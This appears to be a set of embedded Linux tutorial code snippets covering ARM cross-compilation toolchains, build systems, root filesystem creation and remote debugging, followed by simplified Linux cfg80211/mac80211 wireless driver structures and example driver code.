# Check dynamic libraries
arm-linux-gnueabihf-readelf -d hello | grep NEEDED

# Requires target's libc at runtime
arm-linux-gnueabihf-gcc hello.c -o hello

# List dependencies
arm-linux-gnueabihf-ldd hello
# or
arm-linux-gnueabihf-readelf -d hello

# Includes all libraries in binary
arm-linux-gnueabihf-gcc hello.c -o hello -static

# Check - no dependencies
file hello
# hello: ELF 32-bit LSB executable, ARM, statically linked

# Size comparison
ls -lh hello
# Much larger with static linking

/* http_client.c - requires libcurl */
#include <curl/curl.h>
#include <stdio.h>

int main(void)
{
	CURL *curl = curl_easy_init();
	if (curl) {
		curl_easy_cleanup(curl);
		printf("libcurl working!\n");
	}
	return 0;
}

arm-linux-gnueabihf-gcc http_client.c -o http_client -lcurl
# Error: curl/curl.h: No such file or directory

# Install target libraries on host
sudo apt-get install libcurl4-openssl-dev:armhf

# Compile with sysroot
arm-linux-gnueabihf-gcc http_client.c -o http_client \
	--sysroot=/usr/arm-linux-gnueabihf \
	-lcurl

# Or set PKG_CONFIG
export PKG_CONFIG_PATH=/usr/arm-linux-gnueabihf/lib/pkgconfig
arm-linux-gnueabihf-gcc http_client.c -o http_client \
	$(pkg-config --cflags --libs libcurl)

# Makefile
CC := $(CROSS_COMPILE)gcc
CXX := $(CROSS_COMPILE)g++
LD := $(CROSS_COMPILE)ld
AR := $(CROSS_COMPILE)ar
STRIP := $(CROSS_COMPILE)strip

CFLAGS := -Wall -O2
LDFLAGS :=

# Add sysroot if set
ifdef SYSROOT
CFLAGS += --sysroot=$(SYSROOT)
LDFLAGS += --sysroot=$(SYSROOT)
endif

TARGET := myapp
SRCS := main.c utils.c
OBJS := $(SRCS:.c=.o)

all: $(TARGET)

$(TARGET): $(OBJS)
	$(CC) $(LDFLAGS) -o $@ $^
	$(STRIP) $@

%.o: %.c
	$(CC) $(CFLAGS) -c -o $@ $<

clean:
	rm -f $(OBJS) $(TARGET)

.PHONY: all clean

# Native compilation
make

# Cross compilation
make CROSS_COMPILE=arm-linux-gnueabihf-

# With sysroot
make CROSS_COMPILE=arm-linux-gnueabihf- SYSROOT=/opt/arm-sysroot

# Basic cross compilation
./configure --host=arm-linux-gnueabihf --prefix=/usr

# With sysroot
./configure \
	--host=arm-linux-gnueabihf \
	--prefix=/usr \
	--with-sysroot=/opt/arm-sysroot \
	CFLAGS="--sysroot=/opt/arm-sysroot" \
	LDFLAGS="--sysroot=/opt/arm-sysroot"

# Build and install
make
make DESTDIR=/path/to/rootfs install

# Create config.site
cat > arm-config.site << 'EOF'
# Cross compilation settings
ac_cv_func_malloc_0_nonnull=yes
ac_cv_func_realloc_0_nonnull=yes
EOF

# Use it
./configure --host=arm-linux-gnueabihf --prefix=/usr \
	CONFIG_SITE=arm-config.site

# arm-toolchain.cmake
set(CMAKE_SYSTEM_NAME Linux)
set(CMAKE_SYSTEM_PROCESSOR arm)

# Specify the cross compiler
set(CMAKE_C_COMPILER arm-linux-gnueabihf-gcc)
set(CMAKE_CXX_COMPILER arm-linux-gnueabihf-g++)

# Where to look for libraries
set(CMAKE_FIND_ROOT_PATH /usr/arm-linux-gnueabihf)

# Search for programs in the build host directories
set(CMAKE_FIND_ROOT_PATH_MODE_PROGRAM NEVER)

# Search for libraries and headers in target directories
set(CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY)
set(CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY)
set(CMAKE_FIND_ROOT_PATH_MODE_PACKAGE ONLY)

mkdir build && cd build
cmake .. -DCMAKE_TOOLCHAIN_FILE=../arm-toolchain.cmake
make

export CC=arm-linux-gnueabihf-gcc
export CXX=arm-linux-gnueabihf-g++
cmake ..
make

# arm-cross.txt
[binaries]
c = 'arm-linux-gnueabihf-gcc'
cpp = 'arm-linux-gnueabihf-g++'
ar = 'arm-linux-gnueabihf-ar'
strip = 'arm-linux-gnueabihf-strip'
pkgconfig = 'arm-linux-gnueabihf-pkg-config'

[host_machine]
system = 'linux'
cpu_family = 'arm'
cpu = 'cortex-a8'
endian = 'little'

[properties]
sys_root = '/usr/arm-linux-gnueabihf'

meson setup build --cross-file arm-cross.txt
ninja -C build

# Configure
make menuconfig

# Filesystem images -> ext2/3/4 root filesystem
# System configuration -> System hostname, root password
# Target packages -> Select packages

# Build
make

# Output
ls output/images/
# rootfs.ext4  zImage  *.dtb

# Clone Poky
git clone -b kirkstone git://git.yoctoproject.org/poky
cd poky

# Initialize build
source oe-init-build-env

# Edit conf/local.conf
# MACHINE = "beaglebone-yocto"

# Build minimal image
bitbake core-image-minimal

# Output in tmp/deploy/images/beaglebone-yocto/

#!/bin/bash
# create-rootfs.sh

ROOTFS=/tmp/arm-rootfs
TOOLCHAIN=arm-linux-gnueabihf

# Create directory structure
mkdir -p $ROOTFS/{bin,sbin,etc,proc,sys,dev,lib,usr/{bin,sbin,lib},tmp,var,home,root}

# Copy libraries from toolchain
SYSROOT=$(${TOOLCHAIN}-gcc -print-sysroot)
cp -a $SYSROOT/lib/* $ROOTFS/lib/
cp -a $SYSROOT/usr/lib/* $ROOTFS/usr/lib/

# Install busybox (provides basic utilities)
git clone https://git.busybox.net/busybox
cd busybox
make ARCH=arm CROSS_COMPILE=$TOOLCHAIN- defconfig
make ARCH=arm CROSS_COMPILE=$TOOLCHAIN- -j$(nproc)
make ARCH=arm CROSS_COMPILE=$TOOLCHAIN- \
	CONFIG_PREFIX=$ROOTFS install
cd ..

# Create device nodes
sudo mknod -m 666 $ROOTFS/dev/null c 1 3
sudo mknod -m 666 $ROOTFS/dev/console c 5 1
sudo mknod -m 666 $ROOTFS/dev/tty c 5 0

# Create /etc/inittab
cat > $ROOTFS/etc/inittab << 'EOF'
::sysinit:/etc/init.d/rcS
::respawn:/sbin/getty 115200 console
::shutdown:/bin/umount -a -r
::restart:/sbin/init
EOF

# Create init script
mkdir -p $ROOTFS/etc/init.d
cat > $ROOTFS/etc/init.d/rcS << 'EOF'
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t tmpfs none /tmp
echo "Boot complete"
EOF
chmod +x $ROOTFS/etc/init.d/rcS

# Create filesystem image
dd if=/dev/zero of=rootfs.ext4 bs=1M count=512
mkfs.ext4 rootfs.ext4
mkdir -p /mnt/rootfs
sudo mount rootfs.ext4 /mnt/rootfs
sudo cp -a $ROOTFS/* /mnt/rootfs/
sudo umount /mnt/rootfs

echo "Root filesystem created: rootfs.ext4"

# Install gdbserver (if not already present)
# Run application under gdbserver
gdbserver :1234 ./myapp arg1 arg2

# Use cross-gdb
arm-linux-gnueabihf-gdb ./myapp

# In GDB
(gdb) target remote target-ip:1234
(gdb) break main
(gdb) continue
(gdb) step
(gdb) print variable
(gdb) backtrace

# .gdbinit
target remote 192.168.1.100:1234
break main

# Install QEMU user mode
sudo apt-get install qemu-user-static

# Run ARM binary
qemu-arm-static -L /usr/arm-linux-gnueabihf ./hello

# With GDB
qemu-arm-static -L /usr/arm-linux-gnueabihf -g 1234 ./hello

# In another terminal
arm-linux-gnueabihf-gdb ./hello
(gdb) target remote :1234

# Install QEMU system
sudo apt-get install qemu-system-arm

# Run with kernel and rootfs
qemu-system-arm \
	-M vexpress-a9 \
	-kernel zImage \
	-dtb vexpress-v2p-ca9.dtb \
	-drive file=rootfs.ext4,if=sd,format=raw \
	-append "console=ttyAMA0 root=/dev/mmcblk0 rootwait" \
	-serial stdio \
	-net nic -net user

# Check architecture
file myapp
arm-linux-gnueabihf-readelf -h myapp

# List symbols
arm-linux-gnueabihf-nm myapp

# Disassemble
arm-linux-gnueabihf-objdump -d myapp

# Check shared library dependencies
arm-linux-gnueabihf-readelf -d myapp | grep NEEDED

# Strings in binary
arm-linux-gnueabihf-strings myapp

# Size information
arm-linux-gnueabihf-size myapp

# Soft-float (no FPU)
CROSS_COMPILE=arm-linux-gnueabi-
ARCH=arm

# Hard-float (with FPU)
CROSS_COMPILE=arm-linux-gnueabihf-
ARCH=arm

# Kernel config
make ARCH=arm multi_v7_defconfig

CROSS_COMPILE=aarch64-linux-gnu-
ARCH=arm64

# Kernel config
make ARCH=arm64 defconfig

# Big-endian
CROSS_COMPILE=mips-linux-gnu-
ARCH=mips

# Little-endian
CROSS_COMPILE=mipsel-linux-gnu-
ARCH=mips

# Kernel config
make ARCH=mips malta_defconfig

# 64-bit
CROSS_COMPILE=riscv64-linux-gnu-
ARCH=riscv

# 32-bit
CROSS_COMPILE=riscv32-linux-gnu-
ARCH=riscv

# Kernel config
make ARCH=riscv defconfig

CROSS_COMPILE=powerpc-linux-gnu-
ARCH=powerpc

# Kernel config
make ARCH=powerpc pmac32_defconfig

# Problem: Headers not found
arm-linux-gnueabihf-gcc test.c
# test.c:1:10: fatal error: curl/curl.h: No such file or directory

# Solution: Install cross-compiled development package
sudo apt-get install libcurl4-openssl-dev:armhf

# Or specify include path
arm-linux-gnueabihf-gcc test.c \
	-I/usr/arm-linux-gnueabihf/include

# Problem: Library not found
# /usr/bin/ld: cannot find -lssl

# Solution: Install library for target architecture
sudo apt-get install libssl-dev:armhf

# Or specify library path
arm-linux-gnueabihf-gcc test.c -lssl \
	-L/usr/arm-linux-gnueabihf/lib

# Check architecture
file myapp
# If says x86_64 instead of ARM, CROSS_COMPILE wasn't set

# Verify you're using cross compiler
which ${CROSS_COMPILE}gcc

# Check if it's stripped of debug info
${CROSS_COMPILE}readelf -S myapp | grep debug

# Problem: Wrong architecture or ABI mismatch

# Check target's actual architecture
ssh target 'uname -m'  # armv7l, aarch64, etc.

# Check binary architecture
file myapp

# For ARM: Check float ABI
${CROSS_COMPILE}readelf -A myapp | grep ABI
# Must match target's ABI (soft-float vs hard-float)

# Error on target
./myapp: error while loading shared libraries: libfoo.so.1

# Solution 1: Copy library to target
scp /usr/arm-linux-gnueabihf/lib/libfoo.so.* target:/lib/

# Solution 2: Static linking
arm-linux-gnueabihf-gcc test.c -o myapp -static

# Solution 3: Use LD_LIBRARY_PATH on target
export LD_LIBRARY_PATH=/path/to/libs:$LD_LIBRARY_PATH

# Verbose compiler output
arm-linux-gnueabihf-gcc -v test.c

# Show search paths
arm-linux-gnueabihf-gcc -print-search-dirs

# Show sysroot
arm-linux-gnueabihf-gcc -print-sysroot

# Preprocessor output only
arm-linux-gnueabihf-gcc -E test.c

# Show include paths
echo | arm-linux-gnueabihf-gcc -v -E -

# Test if toolchain works
arm-linux-gnueabihf-gcc -v

# Bad: Mixing toolchains
gcc myapp.c  # Native compiler!
arm-linux-gnueabihf-gcc mylib.c

# Good: Use CROSS_COMPILE consistently
export CROSS_COMPILE=arm-linux-gnueabihf-
${CROSS_COMPILE}gcc myapp.c mylib.c

# Keep source clean
mkdir -p build/arm build/x86

# ARM build
make O=build/arm ARCH=arm CROSS_COMPILE=arm-linux-gnueabihf-

# x86 build
make O=build/x86

# Clean specific build
rm -rf build/arm

#!/bin/bash
# build-cross.sh

set -e  # Exit on error

# Configuration
export ARCH=arm
export CROSS_COMPILE=arm-linux-gnueabihf-
export INSTALL_PATH=/opt/target-root

# Build
echo "Building for $ARCH..."
make clean
make -j$(nproc)
make install DESTDIR=$INSTALL_PATH

echo "Build complete: $INSTALL_PATH"

# Organized sysroot
/opt/arm-sysroot/
├── usr/
│   ├── include/  # Headers
│   └── lib/      # Libraries
├── lib/          # System libraries
└── etc/          # Configuration files

# Set PKG_CONFIG for libraries
export PKG_CONFIG_PATH=/opt/arm-sysroot/usr/lib/pkgconfig
export PKG_CONFIG_SYSROOT_DIR=/opt/arm-sysroot

# Tag releases
git tag -a v1.0-arm -m "ARM release v1.0"

# Separate binary artifacts
artifacts/
├── v1.0/
│   ├── arm/
│   │   ├── myapp
│   │   └── myapp.debug
│   ├── arm64/
│   └── x86_64/

#!/bin/bash
# test-cross.sh

# Build
./build-cross.sh

# Copy to target
scp build/myapp target:/tmp/

# Run on target
ssh target "/tmp/myapp --test"

# Check exit code
if [ $? -eq 0 ]; then
	echo "Tests passed"
else
	echo "Tests failed"
	exit 1
fi

# dependencies.txt
Toolchain: gcc-arm-linux-gnueabihf-9.3
Libraries:
  - libssl-dev:armhf (>= 1.1.1)
  - libcurl4-openssl-dev:armhf (>= 7.68.0)
  - zlib1g-dev:armhf

Kernel: 5.10 or later
Bootloader: U-Boot 2021.01

# Compiler optimizations
CFLAGS="-O2 -march=armv7-a -mtune=cortex-a8 -mfpu=neon"

# Size optimization
CFLAGS="-Os -ffunction-sections -fdata-sections"
LDFLAGS="-Wl,--gc-sections"

# Strip debug info for production
${CROSS_COMPILE}strip --strip-all myapp

┌─────────────────────────────────────┐
│        User Space (iw, wpa_supplicant)  │
└─────────────────────────────────────┘
              │ nl80211
┌─────────────────────────────────────┐
│          cfg80211                    │  ← Configuration & regulatory
│   (wireless configuration API)       │
└─────────────────────────────────────┘
              │
┌─────────────────────────────────────┐
│          mac80211                    │  ← MAC layer (optional)
│   (generic MAC implementation)       │
└─────────────────────────────────────┘
              │
┌─────────────────────────────────────┐
│      WiFi Device Driver              │  ← Hardware-specific
│   (ath9k, iwlwifi, rtl8xxxu, etc.)  │
└─────────────────────────────────────┘
              │
┌─────────────────────────────────────┐
│      Hardware (WiFi Chip)            │
└─────────────────────────────────────┘

User Space
    │
    ├─ iw: Configuration tool
    ├─ wpa_supplicant: WPA/WPA2 authentication
    └─ hostapd: Access Point daemon
    │
    ▼ nl80211 (netlink)
    │
cfg80211
    │
    ├─ Configuration API
    ├─ Regulatory database
    ├─ Scan results management
    ├─ Connection tracking
    └─ nl80211 ↔ cfg80211_ops translation
    │
    ▼ cfg80211_ops
    │
mac80211 (optional)
    │
    ├─ Beacon handling
    ├─ Power save
    ├─ Aggregation (A-MPDU/A-MSDU)
    ├─ Rate control
    ├─ TX/RX queuing
    └─ Frame filtering
    │
    ▼ ieee80211_ops
    │
Driver (hardware-specific)
    │
    ├─ Channel switching
    ├─ TX/RX DMA
    ├─ Interrupt handling
    └─ Register access
    │
    ▼
Hardware

Application
    ↓
Socket/Network Stack
    ↓
cfg80211 (for management frames)
    ↓
mac80211 (encryption, aggregation, queuing)
    ↓
Driver (DMA, hardware TX)
    ↓
Hardware

Hardware
    ↓
Driver (interrupt, DMA)
    ↓
mac80211 (decryption, defragmentation)
    ↓
cfg80211 (scan results, regulatory info)
    ↓
Network Stack
    ↓
Application

#include <net/cfg80211.h>

/* Wireless device (wiphy) - represents physical device */
struct wiphy {
	int n_addresses;
	struct mac_address *addresses;

	/* Supported bands */
	struct ieee80211_supported_band *bands[NUM_NL80211_BANDS];

	/* Regulatory domain */
	const struct ieee80211_regdomain *regd;

	/* Driver callbacks */
	const struct cfg80211_ops *ops;

	/* Flags */
	u32 flags;

	/* Interface modes supported */
	u16 interface_modes;

	/* Cipher suites */
	const u32 *cipher_suites;
	int n_cipher_suites;

	/* Maximum scan SSIDs */
	u8 max_scan_ssids;

	/* Maximum scheduled scan SSIDs */
	u8 max_sched_scan_ssids;

	/* Private driver data */
	void *priv;
};

/* Wireless interface (wdev) - represents virtual interface */
struct wireless_dev {
	struct wiphy *wiphy;
	enum nl80211_iftype iftype;

	struct net_device *netdev;

	/* Current BSS */
	struct cfg80211_bss *current_bss;

	/* Connection parameters */
	u8 ssid[IEEE80211_MAX_SSID_LEN];
	u8 ssid_len;

	/* Wireless extensions compatibility */
	struct cfg80211_internal_bss *authtry_bsses[4];
	struct cfg80211_internal_bss *auth_bsses[4];
	struct cfg80211_internal_bss *assoc_bsses[4];
};

/* BSS information */
struct cfg80211_bss {
	struct ieee80211_channel *channel;

	u8 bssid[ETH_ALEN];
	u64 tsf;
	u16 beacon_interval;
	u16 capability;

	const u8 *ies;
	size_t ies_len;

	s32 signal;
	u64 parent_tsf;
};

struct cfg80211_ops {
	/* Interface management */
	int (*add_virtual_intf)(struct wiphy *wiphy,
				const char *name,
				enum nl80211_iftype type,
				struct vif_params *params);

	int (*del_virtual_intf)(struct wiphy *wiphy,
				struct wireless_dev *wdev);

	int (*change_virtual_intf)(struct wiphy *wiphy,
				   struct net_device *dev,
				   enum nl80211_iftype type,
				   struct vif_params *params);

	/* Scanning */
	int (*scan)(struct wiphy *wiphy,
		    struct cfg80211_scan_request *request);

	/* Connection */
	int (*connect)(struct wiphy *wiphy,
		       struct net_device *dev,
		       struct cfg80211_connect_params *sme);

	int (*disconnect)(struct wiphy *wiphy,
			  struct net_device *dev,
			  u16 reason_code);

	/* Authentication & Association */
	int (*auth)(struct wiphy *wiphy,
		    struct net_device *dev,
		    struct cfg80211_auth_request *req);

	int (*assoc)(struct wiphy *wiphy,
		     struct net_device *dev,
		     struct cfg80211_assoc_request *req);

	int (*deauth)(struct wiphy *wiphy,
		      struct net_device *dev,
		      struct cfg80211_deauth_request *req);

	int (*disassoc)(struct wiphy *wiphy,
			struct net_device *dev,
			struct cfg80211_disassoc_request *req);

	/* Configuration */
	int (*set_channel)(struct wiphy *wiphy,
			   struct cfg80211_chan_def *chandef);

	int (*set_txq_params)(struct wiphy *wiphy,
			      struct net_device *dev,
			      struct ieee80211_txq_params *params);

	int (*set_tx_power)(struct wiphy *wiphy,
			    struct wireless_dev *wdev,
			    enum nl80211_tx_power_setting type,
			    int mbm);

	int (*get_tx_power)(struct wiphy *wiphy,
			    struct wireless_dev *wdev,
			    int *dbm);

	/* AP mode */
	int (*start_ap)(struct wiphy *wiphy,
			struct net_device *dev,
			struct cfg80211_ap_settings *settings);

	int (*stop_ap)(struct wiphy *wiphy,
		       struct net_device *dev);

	/* Station management */
	int (*add_station)(struct wiphy *wiphy,
			   struct net_device *dev,
			   const u8 *mac,
			   struct station_parameters *params);

	int (*del_station)(struct wiphy *wiphy,
			   struct net_device *dev,
			   struct station_del_parameters *params);

	int (*change_station)(struct wiphy *wiphy,
			      struct net_device *dev,
			      const u8 *mac,
			      struct station_parameters *params);

	int (*get_station)(struct wiphy *wiphy,
			   struct net_device *dev,
			   const u8 *mac,
			   struct station_info *sinfo);

	/* Power management */
	int (*set_power_mgmt)(struct wiphy *wiphy,
			      struct net_device *dev,
			      bool enabled,
			      int timeout);

	/* Regulatory */
	void (*reg_notifier)(struct wiphy *wiphy,
			     struct regulatory_request *request);
};

#include <net/cfg80211.h>

static const struct cfg80211_ops my_cfg_ops = {
	.scan = my_scan,
	.connect = my_connect,
	.disconnect = my_disconnect,
	/* ... other callbacks ... */
};

static int my_probe(struct pci_dev *pdev, const struct pci_device_id *id)
{
	struct wiphy *wiphy;
	struct my_priv *priv;
	int ret;

	/* Allocate wiphy with private data */
	wiphy = wiphy_new(&my_cfg_ops, sizeof(*priv));
	if (!wiphy)
		return -ENOMEM;

	priv = wiphy_priv(wiphy);

	/* Set wiphy parameters */
	wiphy->interface_modes = BIT(NL80211_IFTYPE_STATION) |
				 BIT(NL80211_IFTYPE_AP);

	wiphy->max_scan_ssids = 4;
	wiphy->max_scan_ie_len = 256;

	/* Set supported bands */
	wiphy->bands[NL80211_BAND_2GHZ] = &my_band_2ghz;
	wiphy->bands[NL80211_BAND_5GHZ] = &my_band_5ghz;

	/* Set supported cipher suites */
	wiphy->cipher_suites = my_cipher_suites;
	wiphy->n_cipher_suites = ARRAY_SIZE(my_cipher_suites);

	/* Set regulatory domain */
	wiphy->regulatory_flags = REGULATORY_STRICT_REG;

	/* Register wiphy */
	ret = wiphy_register(wiphy);
	if (ret) {
		wiphy_free(wiphy);
		return ret;
	}

	return 0;
}

static void my_remove(struct pci_dev *pdev)
{
	struct wiphy *wiphy = pci_get_drvdata(pdev);

	wiphy_unregister(wiphy);
	wiphy_free(wiphy);
}

/* 2.4 GHz band channels */
static struct ieee80211_channel my_2ghz_channels[] = {
	{ .band = NL80211_BAND_2GHZ, .center_freq = 2412, .hw_value = 1 },
	{ .band = NL80211_BAND_2GHZ, .center_freq = 2417, .hw_value = 2 },
	{ .band = NL80211_BAND_2GHZ, .center_freq = 2422, .hw_value = 3 },
	/* ... channels 4-13 ... */
};

/* Supported rates for 2.4 GHz */
static struct ieee80211_rate my_2ghz_rates[] = {
	{ .bitrate = 10 },   /* 1 Mbps */
	{ .bitrate = 20 },   /* 2 Mbps */
	{ .bitrate = 55 },   /* 5.5 Mbps */
	{ .bitrate = 110 },  /* 11 Mbps */
	{ .bitrate = 60 },   /* 6 Mbps */
	{ .bitrate = 90 },   /* 9 Mbps */
	{ .bitrate = 120 },  /* 12 Mbps */
	/* ... more rates ... */
};

/* 2.4 GHz band definition */
static struct ieee80211_supported_band my_band_2ghz = {
	.channels = my_2ghz_channels,
	.n_channels = ARRAY_SIZE(my_2ghz_channels),
	.bitrates = my_2ghz_rates,
	.n_bitrates = ARRAY_SIZE(my_2ghz_rates),
	.ht_cap = {
		.cap = IEEE80211_HT_CAP_SGI_20 |
		       IEEE80211_HT_CAP_SGI_40 |
		       IEEE80211_HT_CAP_SUP_WIDTH_20_40,
		.ht_supported = true,
	},
};

#include <net/mac80211.h>

/* Hardware structure */
struct ieee80211_hw {
	struct ieee80211_conf conf;
	struct wiphy *wiphy;
	const char *rate_control_algorithm;
	void *priv;
	unsigned long flags;

	/* Queues */
	u16 queues;
	u16 max_listen_interval;
	s8 max_signal;

	/* TX aggregation */
	u8 max_rx_aggregation_subframes;
	u8 max_tx_aggregation_subframes;

	/* Offload capabilities */
	u32 offchannel_tx_hw_queue;
	netdev_features_t netdev_features;
};

/* Virtual interface (VIF) */
struct ieee80211_vif {
	enum nl80211_iftype type;
	struct ieee80211_bss_conf bss_conf;
	u8 addr[ETH_ALEN];
	bool p2p;

	/* Driver private data */
	u8 drv_priv[0] __aligned(sizeof(void *));
};

/* BSS configuration */
struct ieee80211_bss_conf {
	u8 bssid[ETH_ALEN];
	bool assoc;
	u16 aid;

	bool use_cts_prot;
	bool use_short_preamble;
	bool use_short_slot;
	bool enable_beacon;

	u16 beacon_int;
	u8 dtim_period;

	u32 basic_rates;
	u32 beacon_rate;

	struct ieee80211_p2p_noa_attr p2p_noa_attr;
};

/* Station information */
struct ieee80211_sta {
	u8 addr[ETH_ALEN];
	u16 aid;
	u16 max_amsdu_len;

	struct ieee80211_sta_ht_cap ht_cap;
	struct ieee80211_sta_vht_cap vht_cap;

	u8 max_sp;
	u8 rx_nss;

	/* Driver private data */
	u8 drv_priv[0] __aligned(sizeof(void *));
};

/* TX info - attached to each TX skb */
struct ieee80211_tx_info {
	u32 flags;
	u8 band;

	struct ieee80211_tx_rate rates[IEEE80211_TX_MAX_RATES];

	union {
		struct {
			struct ieee80211_vif *vif;
			struct ieee80211_key_conf *hw_key;
		} control;
		struct {
			u64 cookie;
		} ack;
		struct {
			struct ieee80211_tx_rate rates[IEEE80211_TX_MAX_RATES];
			u8 ack_signal;
		} status;
	};
};

/* RX status - filled by driver */
struct ieee80211_rx_status {
	u64 mactime;
	u32 device_timestamp;
	u16 flag;
	u16 freq;
	u8 rate_idx;
	u8 vht_nss;
	u8 rx_flags;
	u8 band;
	u8 antenna;
	s8 signal;
	u8 chains;
	s8 chain_signal[IEEE80211_MAX_CHAINS];
};

struct ieee80211_ops {
	/* Basic operations */
	int (*start)(struct ieee80211_hw *hw);
	void (*stop)(struct ieee80211_hw *hw);

	/* Interface handling */
	int (*add_interface)(struct ieee80211_hw *hw,
			     struct ieee80211_vif *vif);
	void (*remove_interface)(struct ieee80211_hw *hw,
				 struct ieee80211_vif *vif);

	/* Configuration */
	int (*config)(struct ieee80211_hw *hw, u32 changed);
	void (*bss_info_changed)(struct ieee80211_hw *hw,
				 struct ieee80211_vif *vif,
				 struct ieee80211_bss_conf *info,
				 u32 changed);

	/* TX/RX */
	void (*tx)(struct ieee80211_hw *hw,
		   struct ieee80211_tx_control *control,
		   struct sk_buff *skb);

	int (*set_key)(struct ieee80211_hw *hw,
		       enum set_key_cmd cmd,
		       struct ieee80211_vif *vif,
		       struct ieee80211_sta *sta,
		       struct ieee80211_key_conf *key);

	/* Scanning */
	void (*sw_scan_start)(struct ieee80211_hw *hw,
			      struct ieee80211_vif *vif,
			      const u8 *mac_addr);
	void (*sw_scan_complete)(struct ieee80211_hw *hw,
				 struct ieee80211_vif *vif);

	int (*hw_scan)(struct ieee80211_hw *hw,
		       struct ieee80211_vif *vif,
		       struct ieee80211_scan_request *req);

	/* Aggregation */
	int (*ampdu_action)(struct ieee80211_hw *hw,
			    struct ieee80211_vif *vif,
			    struct ieee80211_ampdu_params *params);

	/* Station management */
	int (*sta_add)(struct ieee80211_hw *hw,
		       struct ieee80211_vif *vif,
		       struct ieee80211_sta *sta);

	int (*sta_remove)(struct ieee80211_hw *hw,
			  struct ieee80211_vif *vif,
			  struct ieee80211_sta *sta);

	void (*sta_notify)(struct ieee80211_hw *hw,
			   struct ieee80211_vif *vif,
			   enum sta_notify_cmd cmd,
			   struct ieee80211_sta *sta);

	/* Power management */
	int (*set_rts_threshold)(struct ieee80211_hw *hw, u32 value);
	void (*set_coverage_class)(struct ieee80211_hw *hw, s16 coverage_class);

	/* Multicast filter */
	void (*configure_filter)(struct ieee80211_hw *hw,
				 unsigned int changed_flags,
				 unsigned int *total_flags,
				 u64 multicast);
};

static const struct ieee80211_ops my_ops = {
	.start = my_start,
	.stop = my_stop,
	.add_interface = my_add_interface,
	.remove_interface = my_remove_interface,
	.config = my_config,
	.bss_info_changed = my_bss_info_changed,
	.tx = my_tx,
	.set_key = my_set_key,
	/* ... */
};

static int my_probe(struct pci_dev *pdev, const struct pci_device_id *id)
{
	struct ieee80211_hw *hw;
	struct my_priv *priv;
	int ret;

	/* Allocate hardware structure */
	hw = ieee80211_alloc_hw(sizeof(*priv), &my_ops);
	if (!hw)
		return -ENOMEM;

	priv = hw->priv;
	priv->pdev = pdev;

	/* Set hardware capabilities */
	hw->flags = IEEE80211_HW_SIGNAL_DBM |
		    IEEE80211_HW_AMPDU_AGGREGATION |
		    IEEE80211_HW_SUPPORTS_PS |
		    IEEE80211_HW_MFP_CAPABLE;

	hw->queues = 4;  /* Number of TX queues */
	hw->max_rates = 4;
	hw->max_rate_tries = 7;

	/* Set channel bands */
	hw->wiphy->bands[NL80211_BAND_2GHZ] = &my_band_2ghz;
	hw->wiphy->bands[NL80211_BAND_5GHZ] = &my_band_5ghz;

	/* Set supported interface modes */
	hw->wiphy->interface_modes =
		BIT(NL80211_IFTYPE_STATION) |
		BIT(NL80211_IFTYPE_AP) |
		BIT(NL80211_IFTYPE_P2P_CLIENT) |
		BIT(NL80211_IFTYPE_P2P_GO);

	/* Register hardware */
	ret = ieee80211_register_hw(hw);
	if (ret) {
		ieee80211_free_hw(hw);
		return ret;
	}

	return 0;
}

static void my_tx(struct ieee80211_hw *hw,
		  struct ieee80211_tx_control *control,
		  struct sk_buff *skb)
{
	struct my_priv *priv = hw->priv;
	struct ieee80211_tx_info *info = IEEE80211_SKB_CB(skb);
	struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data;

	/* Get TX rate from mac80211 rate control */
	u8 rate_idx = info->control.rates[0].idx;

	/* Determine hardware queue */
	u8 queue = skb_get_queue_mapping(skb);

	/* Add hardware-specific TX descriptor */
	struct my_tx_desc *desc = (struct my_tx_desc *)skb_push(skb, sizeof(*desc));
	memset(desc, 0, sizeof(*desc));

	desc->rate = rate_idx;
	desc->retry_limit = info->control.rates[0].count;

	/* Handle encryption if needed */
	if (info->control.hw_key) {
		/* Hardware encryption */
		desc->key_idx = info->control.hw_key->hw_key_idx;
		desc->flags |= TX_FLAGS_ENCRYPT;
	}

	/* Submit to hardware TX queue */
	spin_lock_bh(&priv->tx_lock);

	if (my_tx_queue_full(priv, queue)) {
		/* Queue full, stop mac80211 queue */
		ieee80211_stop_queue(hw, queue);
		spin_unlock_bh(&priv->tx_lock);
		dev_kfree_skb_any(skb);
		return;
	}

	/* Add to DMA ring */
	my_tx_add_to_ring(priv, queue, skb);

	/* Kick hardware */
	my_tx_kick(priv, queue);

	spin_unlock_bh(&priv->tx_lock);
}

/* TX completion interrupt handler */
static void my_tx_complete(struct my_priv *priv)
{
	struct ieee80211_hw *hw = priv->hw;
	struct sk_buff *skb;
	struct ieee80211_tx_info *info;
	u8 queue;

	while ((skb = my_get_completed_frame(priv, &queue))) {
		info = IEEE80211_SKB_CB(skb);

		/* Fill in TX status */
		if (my_tx_was_successful(skb)) {
			info->flags |= IEEE80211_TX_STAT_ACK;
		}

		/* Remove hardware TX descriptor */
		skb_pull(skb, sizeof(struct my_tx_desc));

		/* Report to mac80211 */
		ieee80211_tx_status(hw, skb);

		/* Wake queue if needed */
		if (ieee80211_queue_stopped(hw, queue))
			ieee80211_wake_queue(hw, queue);
	}
}

static void my_rx_tasklet(unsigned long data)
{
	struct my_priv *priv = (struct my_priv *)data;
	struct ieee80211_hw *hw = priv->hw;
	struct sk_buff *skb;
	struct ieee80211_rx_status *rx_status;
	struct my_rx_desc *desc;

	while ((skb = my_get_rx_frame(priv))) {
		desc = (struct my_rx_desc *)skb->data;

		/* Allocate rx_status */
		rx_status = IEEE80211_SKB_RXCB(skb);
		memset(rx_status, 0, sizeof(*rx_status));

		/* Fill in RX status from hardware descriptor */
		rx_status->freq = ieee80211_channel_to_frequency(
					desc->channel,
					NL80211_BAND_2GHZ);
		rx_status->band = NL80211_BAND_2GHZ;
		rx_status->signal = desc->rssi;
		rx_status->rate_idx = desc->rate;
		rx_status->antenna = desc->antenna;

		/* Set flags */
		if (desc->flags & RX_FLAG_SHORT_PREAMBLE)
			rx_status->flag |= RX_FLAG_SHORTPRE;

		if (desc->flags & RX_FLAG_DECRYPTED) {
			rx_status->flag |= RX_FLAG_DECRYPTED;
			rx_status->flag |= RX_FLAG_IV_STRIPPED;
			rx_status->flag |= RX_FLAG_MMIC_STRIPPED;
		}

		/* Remove hardware RX descriptor */
		skb_pull(skb, sizeof(*desc));

		/* Pass to mac80211 */
		ieee80211_rx(hw, skb);
	}
}

